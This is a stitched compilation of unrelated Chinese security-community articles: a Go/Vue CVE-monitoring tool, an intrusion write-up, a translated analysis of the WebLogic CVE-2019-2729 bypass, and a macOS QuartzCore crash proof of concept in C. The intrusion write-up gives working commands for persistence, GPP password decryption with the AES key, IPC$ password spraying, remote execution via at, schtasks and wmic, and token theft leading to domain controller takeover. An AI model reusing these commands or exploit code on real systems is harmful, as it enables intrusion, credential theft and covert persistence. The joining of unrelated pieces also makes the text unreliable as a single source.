在网络安全圈，攻防是核心，在攻防中漏洞的重要性不言而喻，而CVE是全世界通用漏洞的集合，对于安全人员来说及时知晓刚爆出的通用型漏洞对于企业来讲是十分必要的。本文讲解上周本人在完成CVE监控研发的过程中的一些技术探讨，为什么叫伪全栈呢，因为全栈远不止前端+后端。本例主要使用的技术为Golang、Vuejs、Mongodb、Beego等。
## 需求
具体需求为，实时爬取与【公司内部使用的开源框架/组件】相关的业内最新的CVE漏洞，进行网页展示以及报警。
## 数据库设计
由于Mongodb的灵活性与类Json形式的语法，将其作为我们的数据库。根据需求我们需要两个表，一个表存储CVE关键字和其重要程度；另一个表存储具体爬下来的每一个条CVE详情。
关键字表数据格式如下（以两条信息为例）：
{
"_id" : ObjectId("599d2c1ca9218e4e8ec4e6xx"),
"keyword" : [
{
"wordname" : "spring",
"wordcount" : 1
},
{
"wordname" : "java",
"wordcount" : 2
}
}
其中wordcount为1表示高危，wordcount为2表示中危。
CVE详情表数据格式如下(以一条信息为例)：
{
"_id" : ObjectId("59a69bf70988ac81605b76xx"),
"cve" : "CVE-2017-13758",
"keyword" : "ImageMagick",
"note" : "In ImageMagick 7.0.6-10, there is a heap-based buffer overflow in theTracePoint() function in MagickCore/draw.c.",
"time" : "2017-08-30 19:05:28",
"references" : "CONFIRM:https://www.imagemagick.org/discourse-server/viewtopic.php?f=3&t=32583",
"isignored" : true
}
需要注意的是isignored字段表示是否需要忽略，在安全人员查看信息时，如果认为当前条目CVE不存在严重影响，甚至可以忽略时可以将其置为忽略，而本字段记录其状态。
## 爬虫的研发
我们首先需要找到需要爬取的信息源，一方面需要一个接口能告知我们每日的更新，另一方面我们需要知晓每个CVE编号对应的漏洞详情。通过CVE官网[http://cve.mitre.org/，我们很快找到了两个需要的接口：](http://cve.mitre.org/%EF%BC%8C%E6%88%91%E4%BB%AC%E5%BE%88%E5%BF%AB%E6%89%BE%E5%88%B0%E4%BA%86%E4%B8%A4%E4%B8%AA%E9%9C%80%E8%A6%81%E7%9A%84%E6%8E%A5%E5%8F%A3%EF%BC%9A)
https://cassandra.cerias.purdue.edu/CVE_changes/today.html
以及
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-xxxx-xxxx
姑且称他们为接口1和接口2.爬虫的整体逻辑为向接口1发送请求，正则匹配出我们需要的【New entries】信息，如下图所示
然后分别爬取每个cve对应的接口2的url，继续正则匹配出我们想要的漏洞详情信息、相关文档信息等，我们需要的信息如下。
随后查keyword库判断是否为我们想要的漏洞，这里比较的是keyword与Description信息，如果是则存到库中。
回看整个过程，略微存在技术难点的地方在于正则表达式的编写与golang对Mongodb数据库的操作。
请求到的页面源码中，CVE编号的存在形式如下：
<A HREF = 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-3898'>2017-3898</A><br />
发送请求利用的是grequests库，爬取每日CVE更新信息代码如下：
func monitorCVEimpl() ([]string) {
op := grequests.RequestOptions{
RequestTimeout: 10 * time.Second,
InsecureSkipVerify: true,
RedirectLimit: 5,
}
urlStr := "https://cassandra.cerias.purdue.edu/CVE_changes/today.html"
res, _ := grequests.Get(urlStr, &op)
newEntriesStr := Between(res.String(), "New entries:<br />", "Graduations (CAN to CVE)")
digitsRegexp := regexp.MustCompile("<A HREF = '(.*?)'>(.*?)</A>")
data := digitsRegexp.FindAllStringSubmatch(newEntriesStr, -1)
cveStrList := []string{}
for _, v := range data {
//fmt.Println(v[2])
if v[2] != "" {
cveStrList = append(cveStrList, v[2])
}
}
return cveStrList
}
其中Between函数为一个工具函数，获取一个字符串中在字符串2和字符串3中间的子字符串。
func Between(str, starting, ending string) string {
s := strings.Index(str, starting)
if s < 0 {
return ""
}
s += len(starting)
e := strings.Index(str[s:], ending)
if e < 0 {
return ""
}
return str[s: s+e]
}
最终返回类似[‘2017-10848’,’2017-10849’]的字符串切片。
随后构造为接口2模式的url，同样的方式进行请求，通过工具函数和regexp包，我们能够获取到页面存在的我们需要的信息。随后进行入库操作，Golang操作Mongodb用的是mgo包，基本的增删改查语法可以在[https://studygolang.com/articles/1737查阅到，需要注意的是我们经常会遇到模糊查询的情况，遇到模糊查询时，可以用下面的解决办法：](https://studygolang.com/articles/1737%E6%9F%A5%E9%98%85%E5%88%B0%EF%BC%8C%E9%9C%80%E8%A6%81%E6%B3%A8%E6%84%8F%E7%9A%84%E6%98%AF%E6%88%91%E4%BB%AC%E7%BB%8F%E5%B8%B8%E4%BC%9A%E9%81%87%E5%88%B0%E6%A8%A1%E7%B3%8A%E6%9F%A5%E8%AF%A2%E7%9A%84%E6%83%85%E5%86%B5%EF%BC%8C%E9%81%87%E5%88%B0%E6%A8%A1%E7%B3%8A%E6%9F%A5%E8%AF%A2%E6%97%B6%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%94%A8%E4%B8%8B%E9%9D%A2%E7%9A%84%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95%EF%BC%9A)
err := mCVEdb.Find(bson.M{"cve": bson.M{"$regex": "CVE-2017", "$options": "$i"}}).Distinct("cve",&res)
查询数据库对象mCVEdb对应的数据库中，cve字段模糊匹配CVE-2017字样的文档，并且结果只返回cve集合。
根据bson.go官方包中的规定,options参数设置为i是不分大小写的匹配，正好符合我们的需求。
至此，我们成功的写完了爬虫脚本并且执行后能把数据存入我们的库中。
## 界面的展现
我们需要一个可视化平台，能够看到我们爬取到的CVE数据。搭建这个平台需要后端接口研发以及前端页面的展现。我们使用的golang
http框架为beego，支持RESTful API和MVC模型。
后端接口的研发：
后端接口，主要是用来查询数据库中的数据并且以json格式返回。
在Controller文件中写入
// @router /cve/ [get]
func (c *CveController) GetAll() {
var mResultCve = new(models.CveResult)
result, err := mResultCve.Cve_search_today()
if err != nil {
c.Data["json"] = utils.AjaxReturn(result, "get message success", 1)
}else {
c.Data["json"] = utils.AjaxReturn("", "Error", -1)
}
c.ServeJSON()
}
models层中定义Cve_search_today()函数，将来我们可以在[http://localhost:8080/cve接口获取到返回的json数据以供前端调用。](http://localhost:8080/cve%E6%8E%A5%E5%8F%A3%E8%8E%B7%E5%8F%96%E5%88%B0%E8%BF%94%E5%9B%9E%E7%9A%84json%E6%95%B0%E6%8D%AE%E4%BB%A5%E4%BE%9B%E5%89%8D%E7%AB%AF%E8%B0%83%E7%94%A8%E3%80%82)
Cve_search_today()函数模糊查询time字段为当天的数据即可，将[]CVEinfo和err一同返回。
前端页面的研发：
首先我们需要一个页面url，在Controller中指定：
//@router /Cve [get]
func (this *CveController) GetPage() {
this.Data["title"] = "CVE信息 - "
//导航的ID
this.Data["navCode"] = "opinionNavCode"
this.TplName = "cveInfo/index.html"
}
随后编写cveInfo/index.html文件，利用layui+Vuejs进行开发
js主要代码
var vm = new Vue({
delimiters: ['[[', ']]'],
el: "#body_id",
data: {
url: "",
cveList: [],
cveNum: 0,
lasttime: "",
cveTasktime: "",
date_range_list: ""
//testList: ["test1", "test2", "test3", "test4"]
},
methods: {
loadData: function (ev) {
var _cveurl = "/cve"
this.cveInfoUrl(_cveurl);
this.cveTaskInfo();
},
initLoad: function () {
var e = {"keyCode": 13};
this.loadData(e);
},
cveInfoUrl: function (url) {
var me = this;
$.ajax({
async: true,
url: url,
type: 'get',
datatype: 'json',
success: function (data) {
me.buildData(data, me)
}
});
},
cveTaskInfo: function () {
var me = this;
$.ajax({
async: true,
url: "/CveTaskTime",
type: 'get',
datatype: 'json',
success: function (data) {
me.lasttime = data.data;
}
});
},
buildData: function (data, me) {
$('#cve_id').html("<center style='margin-top:100px'><a class='layui-btn layui-btn-disabled'>数据加载中...</a></center>");
if (data.status == -1 || data.status == -5) {
$('#cve_id').html("<center style='margin-top:100px'><a class='layui-btn layui-btn-disabled'>暂无cve信息</a></center>");
return false;
} else {
$('#cve_id').html("");
}
var _tmpList = data.data.CveList;
console.log(data.data.CveNum);
this.cveList = []
this.cveNum = data.data.CveNum;
for (var d in _tmpList) {
if (_tmpList[d].Isignored == false) {
me.cveList.push({
"cve": _tmpList[d].Cve,
"keyword": _tmpList[d].Keyword,
"note": _tmpList[d].Note,
"time": _tmpList[d].Time,
"reference": _tmpList[d].References,
"isignored": _tmpList[d].Isignored
});
}
}
for (var d in _tmpList) {
if (_tmpList[d].Isignored == true) {
me.cveList.push({
"cve": _tmpList[d].Cve,
"keyword": _tmpList[d].Keyword,
"note": _tmpList[d].Note,
"time": _tmpList[d].Time,
"reference": _tmpList[d].References,
"isignored": _tmpList[d].Isignored
});
}
}
console.log(me.cveList);
},
ignore: function (message) {
$.get('/cveIgnore/' + message, '', function (data, status) {
vm.buildData(data, vm)
})
},
unignore: function (message) {
$.get('/cveUnIgnore/' + message, '', function (data, status) {
vm.buildData(data, vm)
})
}
}
});
//加载事件
window.onload = function () {
vm.initLoad();
};
html部分主要利用v-for循环和v-if判断来读取ajax请求返回的内容，[[]]双括号可以将vuejs处理后的data数据返回到html页面。
页面效果如图：
因为让页面更加简洁优美所以未将CVE漏洞详情信息放入页面。
## 定时与实时
要能够定时地完成爬取，我们就需要利用beego的Task任务模块。将开始我们编写的爬虫脚本挂载到beego框架中，然后在脚本最后加入
func CveRun() {
cveSpiderRun := toolbox.NewTask("cve_spider_run", "0 0 7 * * *", CveSpider)
toolbox.AddTask("cve_spider_run", cveSpiderRun)
toolbox.StartTask()
defer toolbox.StopTask()
}
需要注意的是toolbox.AddTask第二个参数是脚本启动的入口函数，0 0 7
***为定时任务的时间设定，再此为每日的7点，我们也可以自定义设置，比如每隔10分钟等等，语法与Linux中的Crontab类似。
随后在beego Controller层的DefaultController中加入
func init() {
//初始化CVE任务
cveTask.CveRun()
}
即可。
再此启动项目，访问8088端口(默认)，在Task中可以管理任务。
## 邮件预警
在爬虫文件入库后加入邮件预警函数，内容也较为简单，调用github.com/go-gomail/gomail
库发送html邮件，主要代码为先gomail.NewMessage()创建新的Message对象，然后设置邮箱正文、头信息等，使用gomail.NewPlainDialer()配置本端邮箱的账号密码stmp信息，最后DialAndSend()发送即可，注意对异常的处理。邮件正文如下
## 总结与展望
本项目仍可提高的点我认为有如下：
1.利用Golang并发编程机制加快爬虫速度
2.Web界面与邮件界面的UI更加优雅
3.多维度漏洞爬虫
感谢@Dean、@Mr.Hao、@tanglion在研发过程中对我的帮助与启发。
如有错误还请帮指出，感谢阅读。 | 社区文章 |
## 前言
内网搞的少,突然遇见一个,目的拿到域控就行了,期间有些其他操作就顺带提一下，主要写了拿域控这条线，目标外网ip:wip1，后面打码严重，见谅，技术比较菜，欢迎大佬们提出宝贵意见
## 打点
访问<http://wip1/并添加一个随意路径,发现是weblogic>
尝试利用weblogic的漏洞,CVE-2019-2725 成功
### 信息收集
ipconfig /all 发现存在域:gxxxxxxxxx.com
whoami /all 权限system
net user /domain 查看域用户(有点多)
net group "domain admins" /domain 查看域管理员 有 个administrator
net group "domain computers" /domain 查看域内主机名
net group "domain controllers" /domain 查看域控主机名,通过ping主机名 可以获取3台域控的ip
tasklist 查看进程有没杀软(存在卡巴斯基)
Netstat -ano 查看端口开放情况
arp -a 可以推测出内网可能有那些ip段和存活主机
query user || qwinsta 查看当前登陆用户(wip1/administrator登陆中)
主要的整理哈
1. 目前知道内网有2个段当前主机内网ip为 192.xx.xx.x5
> 10.xx.xx.xx 和 192.xx.xx.xx
2. 域控的ip为
> 192.xx.xx.x3 192.xx.xx.x2 10.xx.xx.x2
3. 一些账号，一些主机名
为了方便后续操作,base64编码和解码写入jsp马(哥斯拉)
在利用certutil 解码:Certutil -decode a.txt a.jsp
## 内网渗透
### CS 上线
因为存在卡巴，要绕过杀软,并且通过ping 外网是ping 不通的，可能改机器不能出网
dns隧道和加载器加载加密的shellcode实现上线
dns配置
配置方式如下买一个域名添加如下记录
cs中配置
用Stageless 的shellcode,也就是如下 不然可能会导致上线很慢或者不能上线
ip: 192.xx.xx.x5 上线
### 权限维持
创建自启动服务进行权限维持
sc create "xxx" binpath= "cmd /c start "C:/windows/temp/xxx.bat""&&sc config
"xxx" start= auto&&net start xxx
成功上线
创建定时任务避免进程被杀 每周运行一次
schtasks /create /tn "xxx" /tr "C:/windows/temp/xxx.bat" /sc weekly /mo 1 /ru
system
schtasks /run /tn "xxx"
成功上线
### 横向渗透
#### 密码信息
* 收集存在gpp目录中的各种明文或者加密账号
shell dir \\\域名\sysvol\域名\
批量查看那些文件中包括password
shell findstr /s /i /m /c:"password" \\\域名\SYSVOL\域名\Policies*.xml
利用shell type 查看其中加密的密码
利用脚本解密
import sys
from Crypto.Cipher import AES
from base64 import b64decode
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
cpassword = "加密的字符串"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
print o[:-ord(o[-1])].decode('utf16')
* 利用loagonpasswords 抓取密码,只抓到了本机administrator的密码
* 数据库账号密码
其实还有rdp登录,浏览器等密码(没抓取,先尝试以上秘密)
#### 横向获取所有主机ip
思路
1. domain computers 组获取主机名 + ping
2. Spn获取主机名+ping
> setspn -t /domain -q */* > spn.txt
因为dns实在太慢了，容易断开，而且该域比较大， 就没大规模ping和扫描, 通过看 domain computers 组 通过主机名发现了有些主机的功能,
通过ping 这些主机发现全都在192这个段，并且我们具有权限的那台主机也在这段,思考了哈就先弄192这个段吧
#### 横向渗透
利用刚才获取的密码尝试192段 ，利用了cs自带psexec 等方法批量上线，发现都是不行的，应该是有杀软，只能手动来搞了
先利用进程注入一个administrator 权限的进程获得本地管理员权限
也可以利用令牌窃取获取本地管理员权限
批量尝试，建立了链接
for /L %I in (1,1,254) do @net use \192.xx.xx.%I\ipc$ "刚才获取的密码"
/user:administrator
查看那些主机有管理员登陆过(在这期间也拿了几个具有有外网ip的webshell)
shell tasklist /s ip /v
发现192.xx.xx.x0 这太主机上有域管进程并且存在卡巴
copy shellcode 和加载器到建立ipc链接的主机上
利用at 定时任务进行上线
shell net time \\\ip2 查看远程主机时间
shell at time \ip 12:57 xxx.bat
等了一会，幸运的是，成功上线，同样走的dns，其实可以结合第一个shell 走smb 隧道
同样做好权限维持,查看端口发现有对外网的链接, 走http 隧道(可以利用云函数做中转隐藏cs服务IP)
上线
期间休息过一阵子没有弄,加载器被杀完了，重新改加载器，上线,但是at 命令没了(估计被发现了)......,换schtasks
schtasks /create /F /s 192.xx.xx.x0 /u administrator /p "密码" /tn test /tr
"c:\windows\temp\xxxxx.bat" /sc DAILY /mo 1 /st 13:20
目前上线2台,192.xx.xx.x0
有域管理登录过，要想获取域管理员权限,常见抓秘密和hash，但是可能第二次面杀不到位，失败，还有查找各个文件等等，就不试了,直接令牌窃取，获取域管理员权限
gxxxxxxxxxxx\administrator
接下来就是登录域控,发现定时任务不行了，尝试wmic
shell wmic /node:192.xx.xx.x3 process call create "cmd.exe /c
whoami>f:\xxx\xxx\result.txt"
copy shellcode 和加载器到建立ipc链接的主机上,然后执行
shell wmic /node:192.xx.xx.x3 process call create "cmd.exe /c
f:\xx\xxx\xx.bat"
上线
差不多行了，数据那些就不下载了,也不维权了，交差，后面利用frp 随便访问了哈内网的web，找到一个弱口令，可以设置域策略
## 结束
太菜了太菜了 | 社区文章 |
`Oracle WebLogic`最近在其软件中披露并修补了远程代码执行（RCE）漏洞，其中许多漏洞是由于不安全的反序列化造成的。
`Oracle`在2019年6月18日的带外安全补丁中解决了最新的漏洞`CVE-2019-2729`
。`CVE-2019-2729`的`CVSS`评分为`9.8`，这使其成为一个关键漏洞。 此漏洞相对易于利用，但需要`Java Development
Kit（JDK）1.6`。 默认情况下，`WebLogic`版本`10.3.6`随`JDK 1.6`一起发布。
`CVE-2019-2729`基本上是`CVE-2019-2725`的`Bypass`。然而，这个安全问题首次出现在2017年4月24日，即`CVE-2017-3506`。
我们仔细研究了`CVE-2019-2729`，看看这类漏洞是如何进行的，特别是通过列入黑名单或列入白名单，以及为什么它已经成为一个反复出现的安全问题。
### CVE-2019-2725和CVE-2019-2729的根本原因
`WebLogic`服务器中的上下文传播使得在支持的协议中携带应用程序上下文信息成为可能。此信息通过可扩展标记语言序列化Java对象传递。
默认情况下，以下`URL`通过简单对象访问协议（SOAP）请求接受上下文信息：
/_async/*
/wls-wsat/*
序列化的`XML`数据包含在`SOAP`请求的`<work:WorkContext>`标记中。`WorkContext`信息的反序列化在`WorkContextXmlInputAdapter`类中实现，如图所示。
如上所示，`XMLDecoder`类用于反序列化上下文信息。 应该注意，`XMLDecoder`不应与不受信任的输入一起使用的类。
正如其他研究工作所证明的那样，它允许对任意类型进行任意方法和构造函数调用。
由于使用`XMLDecoder`具有一定风险以及作为`CVE-2017-3506`的修补措施，开发人员已在`WorkContextXmlInputAdapter`中添加了`validate()`函数，以在反序列化之前过滤掉恶意标记。
在`CVE-2019-2725`中，漏洞的`validate()`函数如图所示。
如上所示，`RCE`所需的许多标签被有效列入黑名单。
但是，`validate()`无法考虑`<class>`标记，这允许攻击者使用任意构造函数参数启动任何类。 这可以以多种方式使用以实现任意代码执行。
一个示例是启动`UnitOfWorkChangeSet`对象，该对象接受字节数组作为构造函数参数。
如图所示，`UnitOfWorkChangeSet`将在初始化时不加区分地反序列化该字节数组。
例如，具有精心设计的恶意序列化对象的字节数组可用于实现任意代码执行。 然后可以使用`Python`片段生成攻击流量。
Python概念验证能够使用`ysoserial`生成的`Jdk7u21`payload生成攻击流量。
当然，由于此漏洞利用需要`<class>`标记，`Oracle`会继续将此标记作为`CVE-2019-2725`的补丁添加到黑名单中。
用于修复`CVE-2019-2725的<class>`标签的黑名单。
### CVE-2019-2729：CVE-2019-2725的Bypass
另一方面，事实证明`CVE-2019-2725`的Bypass并不是那么复杂。 实际上，对于JDK1.6，使用`<array method
=“forName”>`标记有效地替换了`<class>`标记的功能。只需用`<array method
=“forName”>`标签替换`<class>`标签就可以有效地绕过黑名单。
`<array method =“forName”>`标记，绕过`<class>`标记的黑名单。
在这种情况下更值得我们注意的是`CVE-2019-2729`修补的方式：`Oracle`选择使用白名单而不是黑名单。
通过新引入的`validateFormat()`函数来实现，其中白名单规则在`WorkContextFormatInfo`中定义。
代码段显示如何使用白名单来修复`CVE-2019-2729`。
从图中可以看出，白名单仍然允许`<array>`标记，但只允许包含带有`“byte”`值的`“class”`属性或带有任何值的`“length”`属性。
### 实践
起初它可能看起来不是那么容易辨认，但通常使用白名单来阻止恶意内容比使用黑名单更有效，特别是在防止可能重新引入安全问题的Bypass时。
系统管理员，开发人员和IT/安全团队应始终采用最佳实践和缓解措施，其中包括：
* 使用`Oracle`的紧急补丁升级到产品的非易受攻击版本
* 通过删除`war`和`wls-wsat.war`防止访问易受攻击的组件，然后重新启动`WebLogic`服务（阻止访问易受攻击的URL）
* 仅限受影响的通信端口访问受信任的主机
* 通过入侵防御系统主动监控，检测和阻止恶意流量
* 添加多层安全机制，例如虚拟补丁，这些机制优先利用已知，未知和未公开的漏洞; 和应用程序控制，可防止未经授权或可疑的应用程序执行
趋势科技`Deep Security™`和`Vulnerability Protection`解决方案通过以下深度包检测规则保护系统和用户。
本文为翻译文章，来自：https://blog.trendmicro.com/trendlabs-security-intelligence/using-whitelisting-to-remediate-an-rce-vulnerability-cve-2019-2729-in-oracle-weblogic/?tdsourcetag=s_pcqq_aiomsg | 社区文章 |
在2019年1月22日，Apple发布了macOS Mojave 10.14.3和iOS 12.1.3版本。
这两个版本修复了许多安全漏洞，包括`QuartzCore`（又名`CoreAnimation`）中的`CVE-2019-6231`。
（有关Apple更新的更多详细信息，请访问： <https://support.apple.com/en-us/HT209446>和<https://support.apple.com/en-us/HT209443>）
研究人员在2018年12月14日的macOS Mojave
10.14.2中发现了这个漏洞，并于2018年12月21日向苹果公司报告了这个问题。然而，Apple回答说这个问题已在12月发布的macOS Mojave
10.14.3测试版中得到修复。 在这篇博客中，我将在macOS上详细分析此漏洞。
### 快速回顾
`QuartzCore`，也称为`CoreAnimation`，是macOS和iOS用来创建动画场景图形的框架。`CoreAnimation`使用独特的渲染模型，其中图形操作是单独运行的。在macOS上，该过程类似于WindowServer。在iOS上，该过程是在后台运行的。`QuartzCore`中名为`com.apple.CARenderServer`的服务通常被称为`CARenderServer`。
此服务存在于macOS和iOS中，普通用户可以从Safari Sandbox处访问。
当`QuartzCore`处理函数`CA::Render::Image::decode()`中的图像对象时，也存在整数溢出的情况。
这会导致恶意应用程序能够读取受限制的内存。
以下是触发此问题时进程WindowServer的奔溃日志。
Process: WindowServer [57329]
Path: /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer
Identifier: WindowServer
Version: 600.00 (337.5)
Code Type: X86-64 (Native)
Parent Process: launchd [1]
Responsible: WindowServer [57329]
User ID: 88
Date/Time: 2018-12-14 16:51:08.093 -0800
OS Version: Mac OS X 10.14.2 (18C54)
Report Version: 12
Anonymous UUID: 0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B
Sleep/Wake UUID: 7F5E9869-8B81-4B2F-8BBC-54048DE83A26
Time Awake Since Boot: 15000 seconds
Time Since Wake: 7000 seconds
System Integrity Protection: disabled
Crashed Thread: 2 com.apple.coreanimation.render-server
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000008000000018
Exception Note: EXC_CORPSE_NOTIFY
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [57329]
外部修改警告：
外部任务创建线程。
调试器附加到进程。
VM Regions Near 0x8000000018:
CoreAnimation 00000001b692e000-00000001bb837000 [ 79.0M] rw-/rw- SM=PRV
-->
STACK GUARD 0000700009f5e000-0000700009f5f000 [ 4K] ---/rwx SM=NUL stack guard for thread 6
特定的应用信息：
StartTime:2018-12-14 16:28:00
GPU:IG
MetalDevice for accelerator(0x3633): 0x7fd12a62bd58 (MTLDevice: 0x7fd12b035c00)
IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer@0
Thread 0:: Dispatch queue: com.apple.main-thread
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.SkyLight 0x00007fff6f2c95fc run_one_server_pass + 337
3 com.apple.SkyLight 0x00007fff6f2c9436 CGXRunOneServicesPass + 460
4 com.apple.SkyLight 0x00007fff6f2ca0bc server_loop + 96
5 com.apple.SkyLight 0x00007fff6f2ca055 SLXServer + 1149
6 WindowServer 0x000000010d30e4d0 0x10d30d000 + 5328
7 libdyld.dylib 0x00007fff761bded9 start + 1
Thread 1:
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.CoreDisplay 0x00007fff48f09851 0x7fff48e57000 + 731217
3 com.apple.CoreDisplay 0x00007fff48f099af 0x7fff48e57000 + 731567
4 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
5 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
6 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 2 Crashed:: com.apple.coreanimation.render-server
0 com.apple.CoreFoundation 0x00007fff48f45575 CFRetain + 15
1 com.apple.QuartzCore 0x00007fff540e674f CA::Render::Decoder::decode_colorspace() + 87
2 com.apple.QuartzCore 0x00007fff5411f826 CA::Render::Texture::decode(CA::Render::Decoder*) + 50
3 com.apple.QuartzCore 0x00007fff5400a112 CA::Render::Image::decode(CA::Render::Decoder*) + 1104
4 com.apple.QuartzCore 0x00007fff540e6d33 CA::Render::Decoder::decode_object(CA::Render::Type) + 1075
5 com.apple.QuartzCore 0x00007fff540e6983 CA::Render::Decoder::decode_object(CA::Render::Type) + 131
6 com.apple.QuartzCore 0x00007fff5401d858 CA::Render::Layer::Layer(CA::Render::Decoder*) + 116
7 com.apple.QuartzCore 0x00007fff540e6daf CA::Render::Decoder::decode_object(CA::Render::Type) + 1199
8 com.apple.QuartzCore 0x00007fff540e78a8 CA::Render::decode_commands(CA::Render::Decoder*) + 329
9 com.apple.QuartzCore 0x00007fff5409fb10 CA::Render::Server::ReceivedMessage::run_command_stream() + 748
10 com.apple.QuartzCore 0x00007fff53f90358 CA::Render::Server::server_thread(void*) + 1968
11 com.apple.QuartzCore 0x00007fff53f8fb92 thread_fun(void*) + 25
12 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
13 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
14 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 3:…….
[truncated]
可以看出，崩溃发生在线程“`com.apple.coreanimation.render-server`”中。
mach服务“`com.apple.CARenderServer`”是在`/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore`中实现的。
在函数`(CA::Render::Server *this, const char
*a2)`中，它能够注册服务“`com.apple.CARenderServer`”。
服务器线程在函数`CA::Render::Server:: server_thread`中实现。 它用于从客户端接收mach消息，然后处理这些消息。
当线程收到带有msgh_id
40002或40003的mach消息时，这可以调用函数`CA::Render::Server::ReceivedMessage::run_command_stream（CA::Render::Server::ReceivedMessage
*this）`来处理命令。
而此漏洞存在于函数`CA::Render::Server:: ReceivedMessage::
run_command_stream`中处理命令流的过程中。
### 漏洞演示
在下一节中，我将演示如何使用PoC来触发此漏洞。 PoC如下所示。
#include <stdio.h>
#include <mach/i386/kern_return.h>
#include <mach/mach_traps.h>
#include <servers/bootstrap.h>
#include <dirent.h>
#include <sys/stat.h>
#include <time.h>
#include <dlfcn.h>
#include <unistd.h>
typedef struct quartz_register_client_s quartz_register_client_t;
struct quartz_register_client_s {
mach_msg_header_t header;
uint32_t body;
mach_msg_port_descriptor_t ports[4];
char padding[12];
};
typedef struct quartzcore_mach_msg quartzcore_mach_msg_t;
struct quartzcore_mach_msg{
mach_msg_header_t header;
char msg_body[712];
};
uint64_t get_filesize(const char *fn){
struct stat st;
stat(fn, &st);
uint64_t fsize = st.st_size;
return fsize;
};
int main(int argc, const char * argv[]) {
mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs_port);
const char *render_service_name = "com.apple.CARenderServer";
kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up");
kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);
if (kr != KERN_SUCCESS) {
return -1;
}
printf("[*] Get service of %s successully!\n", render_service_name);
quartz_register_client_t msg_register;
memset(&msg_register, 0, sizeof(msg_register));
msg_register.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
MACH_MSGH_BITS_COMPLEX;
msg_register.header.msgh_remote_port = p;
msg_register.header.msgh_local_port = mig_get_reply_port();
msg_register.header.msgh_id = 40202; // _XRegisterClient
msg_register.body = 4;
msg_register.ports[0].name = mach_task_self();
msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[1].name = mach_task_self();
msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[2].name = mach_task_self();
msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[3].name = mach_task_self();
msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;
kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
return -1 ;
}
mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);
printf("[*] context_port: 0x%x, conn_id: 0x%x\n",context_port,conn_id);
char *crash_log = "crash.data"; //size is 736.
FILE *fp = fopen(crash_log, "rb");
if(fp == NULL){
printf("fopen error!\n");
}
uint64_t fsize = get_filesize(crash_log);
void *msg_buf = malloc(fsize);
memset(msg_buf, 0, fsize);
fread(msg_buf, fsize, 1, fp);
quartzcore_mach_msg_t qc_mach_msg = {0};
qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
qc_mach_msg.header.msgh_remote_port = context_port;
qc_mach_msg.header.msgh_id = 40002;
memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body));
*(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1; // Ports count
memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc);
*(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id;
kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: 0x%d\n", kr);
return -1 ;
}
return 0;
}
初始的mach消息和精心制作的mach消息之间的比较如下所示。
通过二进制diff工具，我们只需要将偏移量`0x142`处的一个字节从0x00修改为0x80，以触发此漏洞。
